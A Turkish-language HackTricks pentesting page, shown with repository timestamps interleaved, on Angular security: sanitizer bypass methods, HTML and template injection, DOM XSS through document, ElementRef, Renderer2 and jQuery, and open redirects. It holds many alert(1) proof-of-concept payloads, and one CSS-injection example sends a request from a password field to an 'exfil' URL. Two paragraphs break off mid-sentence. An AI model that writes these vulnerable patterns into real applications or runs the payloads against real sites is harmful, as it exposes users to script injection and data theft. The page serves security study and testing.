hacktricks/network-services-pentesting/pentesting-web/angular.md

592 lines
29 KiB
Markdown
Raw Normal View History

# Angular
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
## Kontrol Listesi
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Kontrol listesi [buradan](https://lsgeurope.com/post/angular-security-checklist) alınmıştır.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
* [ ] Angular, bir istemci tarafı çerçevesi olarak kabul edilir ve sunucu tarafı koruma sağlaması beklenmez
* [ ] Proje yapılandırmasında betikler için kaynak haritası devre dışı bırakılmıştır
* [ ] Güvenilmeyen kullanıcı girişi her zaman şablonda kullanılmadan önce araya girilir veya temizlenir
* [ ] Kullanıcının sunucu tarafı veya istemci tarafı şablonları üzerinde kontrolü yoktur
* [ ] Güvenilmeyen kullanıcı girişi, uygulama tarafından güvenilir kabul edilmeden önce uygun bir güvenlik bağlamı kullanılarak temizlenir
* [ ] Güvenilmeyen kullanıcı girişi, güvenilmeyen girişle birlikte `BypassSecurity*` yöntemleri kullanılmaz
* [ ] Güvenilmeyen kullanıcı girişi, `ElementRef`, `Renderer2` ve `Document` gibi Angular sınıflarına veya diğer JQuery/DOM kaynaklarına iletilmez
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
## Angular Nedir
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Angular, **Google** tarafından sürdürülen **güçlü** ve **açık kaynaklı** bir ön uç çerçevesidir. Kod okunabilirliğini ve hata ayıklamayı artırmak için **TypeScript** kullanır. Güçlü güvenlik mekanizmalarıyla, Angular **XSS** ve **açık yönlendirmeler** gibi yaygın istemci tarafı güvenlik açıklarını önler. Güvenlik düşünceleri, Angular'ın **hem sunucu tarafında** hem de **istemci tarafında** kullanılabilmesi nedeniyle önemlidir.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
## Çerçeve Mimarisi
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Angular temellerini daha iyi anlamak için, temel kavramları gözden geçirelim.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Tipik bir Angular projesi genellikle aşağıdaki gibi görünür:
2023-08-14 11:58:56 +00:00
```bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│ ├── app
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│ │ ├── app.component.ts #defines the logic for the application's root component
│ │ ├── app.component.html #defines the HTML template associated with the root component
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
│ │ ├── app.component.spec.ts #defines a unit test for the root component
│ │ └── app-routing.module.ts #provides routing capability for the application
│ ├── lib
│ │ └── src #library-specific configuration files
│ ├── index.html #main HTML page, where the component will be rendered in
│ └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
2024-02-10 18:14:16 +00:00
Belgelere göre, her Angular uygulamasında en az bir bileşen bulunur. Kök bileşen (`AppComponent`), bileşen hiyerarşisini DOM ile bağlayan bir bileşendir. Her bileşen, bir uygulama veri ve mantığını içeren bir sınıf tanımlar ve hedef ortamda görüntülenecek bir görünümü tanımlayan bir HTML şablonuyla ilişkilendirilir. `@Component()` dekoratörü, hemen altındaki sınıfı bir bileşen olarak tanımlar ve şablona ve ilgili bileşen özel meta verilere sağlar. `AppComponent`, `app.component.ts` dosyasında tanımlanmıştır.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Angular NgModules, bir uygulama alanı, bir iş akışı veya yakından ilişkili bir yetenek kümesine yönelik bir bileşen seti için derleme bağlamı bildirir. Her Angular uygulamasının bir kök modülü vardır ve genellikle `AppModule` olarak adlandırılır. Bu modül, uygulamayı başlatan önyükleme mekanizmasını sağlar. Bir uygulama genellikle birçok işlevsel modül içerir. `AppModule`, `app.module.ts` dosyasında tanımlanmıştır.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Angular `Router` NgModule, uygulamanızdaki farklı uygulama durumları ve görünüm hiyerarşileri arasında bir gezinme yolunu tanımlamanıza olanak sağlayan bir hizmet sağlar. `RouterModule`, `app-routing.module.ts` dosyasında tanımlanmıştır.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Bir görünümle ilişkili olmayan veri veya mantık için ve bileşenler arasında paylaşmak istediğiniz durumlar için bir hizmet sınıfı oluşturursunuz. Bir hizmet sınıfı tanımı, hemen öncesinde `@Injectable()` dekoratörü ile gelir. Dekoratör, diğer sağlayıcıların sınıfınıza bağımlılık olarak enjekte edilmesine izin veren meta verileri sağlar. Bağımlılık enjeksiyonu (DI), bileşen sınıflarınızı sade ve verimli tutmanızı sağlar. Bileşenler, sunucudan veri almayı, kullanıcı girişini doğrulamayı veya doğrudan konsola kaydetmeyi yapmaz; bu tür görevleri hizmetlere devreder.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
## Sourcemap yapılandırması
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Angular çerçevesi, `tsconfig.json` seçeneklerini takip ederek TypeScript dosyalarını JavaScript koduna çevirir ve ardından `angular.json` yapılandırmasıyla bir proje oluşturur. `angular.json` dosyasına bakarak, bir sourcemap'i etkinleştirme veya devre dışı bırakma seçeneği olduğunu gözlemledik. Angular belgelerine göre, varsayılan yapılandırma, betikler için bir sourcemap dosyasının etkin olduğunu ve varsayılan olarak gizlenmediğini belirtir.
2023-08-14 11:58:56 +00:00
```json
"sourceMap": {
2024-02-10 18:14:16 +00:00
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
2023-08-14 11:58:56 +00:00
}
```
2024-02-10 18:14:16 +00:00
Genellikle, sourcemap dosyaları hata ayıklama amaçlarıyla kullanılır çünkü oluşturulan dosyaları orijinal dosyalara eşler. Bu nedenle, bunları üretim ortamında kullanmanız önerilmez. Sourcemap'ler etkinleştirildiğinde, Angular projesinin orijinal durumunu yeniden oluşturarak okunabilirliği artırır ve dosya analizine yardımcı olur. Ancak, devre dışı bırakıldığında, bir inceleyici, derlenmiş bir JavaScript dosyasını anti-güvenlik desenlerini arayarak manuel olarak analiz edebilir.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Ayrıca, bir Angular projesinin derlenmiş bir JavaScript dosyası, tarayıcı geliştirici araçları → Kaynaklar (veya Hata Ayıklayıcı ve Kaynaklar) → \[id].main.js içinde bulunabilir. Etkinleştirilen seçeneklere bağlı olarak, bu dosya aşağıdaki satırı içerebilir `//# sourceMappingURL=[id].main.js.map` veya içermeyebilir, eğer **hidden** seçeneği **true** olarak ayarlanmışsa. Bununla birlikte, sourcemap **scripts** için devre dışı bırakıldığında, test etmek daha karmaşık hale gelir ve dosyayı elde edemeyiz. Ayrıca, sourcemap, `ng build --source-map` gibi proje derleme sırasında etkinleştirilebilir.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
## Veri bağlama
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Bağlama, bir bileşenin ve ilgili görünümünün arasındaki iletişim sürecini ifade eder. Veri, Angular çerçevesine veri aktarımı için kullanılır. Veri, olaylar, interpolasyon, özellikler veya iki yönlü bağlama mekanizması gibi çeşitli yollarla iletilir. Ayrıca, veri, ilişkili bileşenler (ebeveyn-çocuk ilişkisi) ve Servis özelliğini kullanarak iki ilişkisiz bileşen arasında paylaşılabilir.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Veri akışına göre bağlamayı şu şekilde sınıflandırabiliriz:
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
* Veri kaynağından görünüm hedefine (interpolasyon, özellikler, öznitelikler, sınıflar ve stiller içerir); şablon içinde `[]` veya `{{}}` kullanılarak uygulanabilir;
* Görünüm hedefinden veri kaynağına (olaylar içerir); şablon içinde `()` kullanılarak uygulanabilir;
* İki yönlü; şablon içinde `[()]` kullanılarak uygulanabilir.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Bağlama, özellikler, olaylar ve öznitelikler üzerinde, ayrıca kaynak yönergesinin herhangi bir genel üyesi üzerinde çağrılabilir:
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
| TİP | HEDEF | ÖRNEKLER |
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
2024-02-10 18:14:16 +00:00
| Özellik | Öğe özelliği, Bileşen özelliği, Yönerge özelliği | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Olay | Öğe olayı, Bileşen olayı, Yönerge olayı | \<button type="button" (click)="onSave()">Save |
| İki yönlü | Olay ve özellik | \<input \[(ngModel)]="name"> |
| Öznitelik | Öznitelik (istisna) | \<button type="button" \[attr.aria-label]="help">help |
| Sınıf | sınıf özelliği | \<div \[class.special]="isSpecial">Special |
| Stil | stil özelliği | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
## Angular güvenlik modeli
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Angular'ın tasarımı, varsayılan olarak tüm verilerin kodlanması veya temizlenmesini içerir, bu da Angular projelerinde XSS zafiyetlerini keşfetmeyi ve sömürmeyi giderek zorlaştırır. Veri işleme için iki farklı senaryo vardır:
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
1. Interpolasyon veya `{{kullanıcı_girişi}}` - bağlamaya duyarlı kodlama yapar ve kullanıcı girişini metin olarak yorumlar;
2024-02-10 18:14:16 +00:00
```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
2024-02-10 18:14:16 +00:00
//app.component.html
{{test}}
```
2024-02-10 18:14:16 +00:00
Sonuç: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2. Özelliklere, özniteliklere, sınıflara ve stillere bağlama veya `[attribute]="kullanıcı_girişi"` - sağlanan güvenlik bağlamına dayanarak temizleme yapar.
2024-02-10 18:14:16 +00:00
```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
2024-02-10 18:14:16 +00:00
//app.component.html
<div [innerHtml]="test"></div>
```
2024-02-10 18:14:16 +00:00
Sonuç: `<div><h1>test</h1></div>`
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
`SecurityContext` adında 6 tür güvenlik bağlamı vardır:
2023-08-14 11:58:56 +00:00
* `None`;
2024-02-10 18:14:16 +00:00
* `HTML`, değeri HTML olarak yorumladığında kullanılır;
* `STYLE`, CSS'i `style` özelliğine bağlarken kullanılır;
* `URL`, `<a href>` gibi URL özellikleri için kullanılır;
* `SCRIPT`, JavaScript kodu için kullanılır;
* `RESOURCE_URL`, `<script src>` gibi kod olarak yüklenen ve yürütülen bir URL olarak kullanılır.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
## Zafiyetler
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
### Güvenlik Güven Metodlarını Atlatma
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Angular, varsayılan temizleme işlemini atlamak ve bir değerin belirli bir bağlamda güvenli bir şekilde kullanılabileceğini belirtmek için bir dizi yöntem sunar. İşte beş örnek:
2024-02-10 18:14:16 +00:00
1. `bypassSecurityTrustUrl`, verilen değerin güvenli bir stil URL olduğunu belirtmek için kullanılır:
2024-02-10 18:14:16 +00:00
```jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
2024-02-10 18:14:16 +00:00
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
2024-02-10 18:14:16 +00:00
//sonuç
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```
2. `bypassSecurityTrustResourceUrl`, verilen değerin güvenli bir kaynak URL olduğunu belirtmek için kullanılır:
2024-02-10 18:14:16 +00:00
```jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
2024-02-10 18:14:16 +00:00
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
2024-02-10 18:14:16 +00:00
//sonuç
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml`, verilen değerin güvenli HTML olduğunu belirtmek için kullanılır. Bu şekilde DOM ağacına `script` öğeleri eklemek, bu öğelerin içerdikleri JavaScript kodunu yürütmez, çünkü bu öğelerin DOM ağacına nasıl eklendiğine bağlıdır.
2024-02-10 18:14:16 +00:00
```jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
//sonuç
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript`, verilen değerin güvenli JavaScript olduğunu belirtmek için kullanılır. Ancak, bu yöntemi kullanarak şablonlarda JS kodunu yürütemediğimiz için davranışının öngörülemez olduğunu bulduk.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
```jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
//app.component.html
<script [innerHtml]="trustedScript"></script>
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
//sonuç
-
```
5. `bypassSecurityTrustStyle`, verilen değerin güvenli CSS olduğunu belirtmek için kullanılır. Aşağıdaki örnek, CSS enjeksiyonunu göstermektedir:
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
```jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
//sonuç
Request URL: GET example.com/exfil/a
```
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Angular, verileri görünümlerde görüntülemeden önce temizlemek için bir `sanitize` yöntemi sağlar. Bu yöntem, sağlan
### HTML enjeksiyonu
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Bu zafiyet, kullanıcı girdisinin `innerHTML`, `outerHTML` veya `iframe` `srcdoc` özelliklerinden herhangi birine bağlandığında ortaya çıkar. Bu özelliklere bağlanırken HTML doğrudan yorumlanır, ancak girdi `SecurityContext.HTML` kullanılarak temizlenir. Bu nedenle, HTML enjeksiyonu mümkün olsa da, cross-site scripting (XSS) mümkün değildir.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
`innerHTML` kullanım örneği:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts
import { Component} from '@angular/core';
@Component({
2024-02-10 18:14:16 +00:00
selector: 'app-root',
templateUrl: './app.component.html'
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-10 18:14:16 +00:00
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
2023-08-14 11:58:56 +00:00
}
//app.component.html
<div [innerHTML]="test"></div>
```
2024-02-10 18:14:16 +00:00
Sonuç `<div><h1>test</h1></div>`.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
### Şablon enjeksiyonu
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
#### İstemci Tarafı Rendeleme (CSR)
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Angular, sayfaları dinamik olarak oluşturmak için şablonları kullanır. Bu yaklaşım, Angular'ın değerlendirmesi için çift süslü parantez içinde (`{{}}`) şablon ifadelerini kapsar. Bu şekilde, çerçeve ek işlevsellik sunar. Örneğin, `{{1+1}}` gibi bir şablon 2 olarak görüntülenir.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişini kaçırır (örneğin, \`< > ' " \`\` gibi karakterler). Bu, yasaklanmış karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevleri kullanma gibi ek adımlar gerektirir. Bununla birlikte, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekmektedir. Bu nedenle, bir şablon enjeksiyon saldırısı aşağıdaki gibi görünebilir:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
2024-02-10 18:14:16 +00:00
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
2023-08-14 11:58:56 +00:00
})
```
2024-02-10 18:14:16 +00:00
Yukarıda gösterildiği gibi: `constructor`, String yapıcısını çağırarak ve keyfi bir kodu yürüterek, Object `constructor` özelliğinin kapsamını ifade eder.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
#### Sunucu Tarafı Render (SSR)
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
CSR'de tarayıcının DOM'unda gerçekleştiği gibi, Angular Universal, şablon dosyalarının SSR'ını üstlenir. Bu dosyalar daha sonra kullanıcıya teslim edilir. Bu ayrımın yanı sıra, Angular Universal, SSR güvenliğini artırmak için CSR'de kullanılan aynı temizleme mekanizmalarını uygular. SSR'deki bir şablon enjeksiyonu açığı, kullanılan şablon dilinin aynı olduğu şekilde tespit edilebilir.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Tabii ki, Pug ve Handlebars gibi üçüncü taraf şablon motorlarını kullanırken yeni şablon enjeksiyonu açıkları da ortaya çıkabilir.
2023-08-14 11:58:56 +00:00
### XSS
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
#### DOM arayüzleri
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Daha önce belirtildiği gibi, _Document_ arayüzünü kullanarak doğrudan DOM'a erişebiliriz. Kullanıcı girişi önceden doğrulanmazsa, bu, cross-site scripting (XSS) açıklarına yol açabilir.
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
Aşağıdaki örneklerde `document.write()` ve `document.createElement()` yöntemlerini kullandık:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
2024-02-10 18:14:16 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-10 18:14:16 +00:00
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
2023-08-14 11:58:56 +00:00
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
2024-02-10 18:14:16 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-10 18:14:16 +00:00
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
2023-08-14 11:58:56 +00:00
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
2024-02-10 18:14:16 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-10 18:14:16 +00:00
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
```
#### Angular sınıfları
Angular'da DOM öğeleriyle çalışmak için kullanılabilecek bazı sınıflar vardır: `ElementRef`, `Renderer2`, `Location` ve `Document`. Son iki sınıfın ayrıntılı bir açıklaması **Açık yönlendirmeler** bölümünde verilmiştir. İlk iki sınıf arasındaki temel fark, `Renderer2` API'nin DOM öğesi ile bileşen kodu arasında bir soyutlama katmanı sağlamasıdır, oysa `ElementRef` sadece öğeye bir referans tutar. Bu nedenle, Angular belgelerine göre, `ElementRef` API'si, doğrudan DOM erişimi gerektiğinde sadece son çare olarak kullanılmalıdır.
* `ElementRef`, DOM öğelerini manipüle etmek için kullanılabilecek `nativeElement` özelliğini içerir. Bununla birlikte, `nativeElement`'in yanlış kullanımı XSS enjeksiyonu güvenlik açığına neden olabilir, aşağıdaki örnekte gösterildiği gibi:
```tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Merhaba Dünya")';
this.elementRef.nativeElement.appendChild(s);
}
2023-08-14 11:58:56 +00:00
}
```
2024-02-10 18:14:16 +00:00
* `Renderer2`, doğrudan erişim sağlanamadığında bile güvenli bir şekilde kullanılabilecek API'leri sağlasa da, hala bazı güvenlik açıkları vardır. `Renderer2` ile `setAttribute()` yöntemi kullanılarak bir HTML öğesine öznitelikler atanabilir ve bu yöntemde XSS önleme mekanizmaları bulunmaz.
```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Bana tıkla!</button>
```
* Bir DOM öğesinin özelliğini ayarlamak için `Renderer2.setProperty()` yöntemini kullanabilir ve XSS saldırısı başlatabilirsiniz:
```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Bana tıkla!</button>
```
Araştırmamız sırasında, XSS ve CSS enjeksiyonlarıyla ilgili olarak `setStyle()`, `createComment()` ve `setValue()` gibi diğer `Renderer2` yöntemlerinin davranışını da inceledik. Ancak, bu yöntemler için geçerli saldırı vektörleri bulamadık çünkü işlevsel sınırlamaları vardı.
2023-08-14 11:58:56 +00:00
#### jQuery
2023-08-14 11:58:56 +00:00
2024-02-10 18:14:16 +00:00
jQuery, HTML DOM nesnelerini manipüle etmede yardımcı olmak için Angular projesinde kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bu kütüphanenin yöntemleri XSS zafiyeti elde etmek için kötüye kullanılabilir. Angular projelerinde bazı güvenlik açıklarına sahip jQuery yöntemlerinin nasıl kötüye kullanılabileceğini tartışmak için bu alt bölümü ekledik.
* `html()` yöntemi, eşleşen öğelerin kümesindeki ilk öğenin HTML içeriğini alır veya her eşleşen öğenin HTML içeriğini ayarlar. Ancak, tasarım gereği, HTML dizesini kabul eden herhangi bir jQuery yapıcısı veya yöntemi potansiyel olarak kodu yürütebilir. Bu, `<script>` etiketlerinin enjeksiyonu veya kodu yürüten HTML özniteliklerinin kullanımıyla gerçekleşebilir, aşağıdaki örnekte gösterildiği gibi.
```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Bana tıkla</button>
<p>burada bazı metinler</p>
```
* `jQuery.parseHTML()` yöntemi, dizeyi DOM düğümlerinin bir kümesine dönüştürmek için yerel yöntemleri kullanır ve ardından bunları belgeye yerleştirir.
```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Daha önce belirtildiği gibi, HTML dizelerini kabul eden çoğu jQuery API'si, HTML içinde bulunan betikleri çalıştırır. `jQuery.parseHTML()` yöntemi, `keepScripts`ıkça `true` olarak belirtilmedikçe ayrıştırılan HTML'deki betikleri çalıştırmaz. Bununla birlikte, çoğu ortamda hala dolaylı olarak betiklerin yürütülmesi mümkündür; örneğin, `<img onerror>` özniteliği aracılığıyla.
```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Bana tıkla</button>
<p id="palias">bazı metinler</p>
```
### Açık yönlendirmeler
#### DOM arayüzleri
W3C belgelerine göre, `window.location` ve `document.location` nesneleri modern tarayıcılarda birbirine eşit olarak kabul edilir. Bu nedenle, bazı yöntemlerin ve özelliklerin benzer uygulamalarına sahiptirler, bu da açık yönlendirme ve `javascript://` şema saldırılarıyla DOM XSS'e neden olabilir.
* `window.location.href`(ve `document.location.href`)
Geçerli DOM konum nesnesini almanın kanonik yolu `window.location` kullanmaktır. Ayrıca tarayıcıyı yeni bir sayfaya yönlendirmek için de kullanılabilir. Bu nedenle, bu nesneye sahip olmak, açık yönlendirme zafiyetini sömürmemize olanak tanır.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Bana tıkla!</button>
```
Sömürü süreci aşağıdaki senaryolar için aynıdır.
* `window.location.assign()`(ve `document.location.assign()`)
Bu yöntem, pencerenin belirtilen URL'deki belgeyi yüklemesine ve görüntülemesine neden olur. Bu yönteme sahipsek, açık yönlendirme saldırısı için bir hedef olabilir.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
```
* `window.location.replace()`(ve `document.location.replace()`)
Bu yöntem, mevcut kaynağı sağlanan URL ile değiştirir.
Bu, `assign()` yönteminden farklı olarak, `window.location.replace()` kullanıldıktan sonra mevcut sayfa oturum Geçmişinde kaydedilmeyecektir. Bununla birlikte, bu yönteme sahip olduğumuzda açık yönlendirme zafiyetini sömürmek mümkündür.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
```
* `window.open()`
2024-02-10 18:14:16 +00:00
`window.open()` yöntemi bir URL alır ve onu yeni veya mevcut bir
#### Angular Sınıfları
* Angular belgelerine göre, Angular `Document` DOM belgesiyle aynıdır, bu da Angular'da istemci tarafı güvenlik açıklarını sömürmek için genel vektörlerin DOM belgesi için kullanılabileceği anlamına gelir. `Document.location` özellikleri ve yöntemleri, aşağıdaki örnekte gösterildiği gibi başarılıık yönlendirme saldırıları için hedef olabilir:
```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Bana tıkla!</button>
```
* Araştırma aşamasında, açık yönlendirme güvenlik açıkları için Angular `Location` sınıfını da inceledik, ancak geçerli vektörler bulunamadı. `Location`, uygulamaların tarayıcının geçerli URL'siyle etkileşimde bulunmak için kullanabileceği bir Angular servisidir. Bu servisin, verilen URL'yi manipüle etmek için birkaç yöntemi vardır - `go()`, `replaceState()` ve `prepareExternalUrl()`. Bununla birlikte, bunları harici bir etki alanına yönlendirme için kullanamayız. Örneğin:
```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
```
Sonuç: `http://localhost:4200/http://google.com/about`
* Angular `Router` sınıfı, genellikle aynı etki alanı içinde gezinme için kullanılır ve uygulamaya herhangi bir ek güvenlik açığı eklememektedir:
```jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
```
Sonuç: `http://localhost:4200/https:`
Aşağıdaki yöntemler de etki alanının kapsamı içinde gezinir:
```jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
```
## Referanslar
* [Angular](https://angular.io/)
2024-02-10 18:14:16 +00:00
* [Angular Güvenliği: Kesin Kılavuz (Bölüm 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
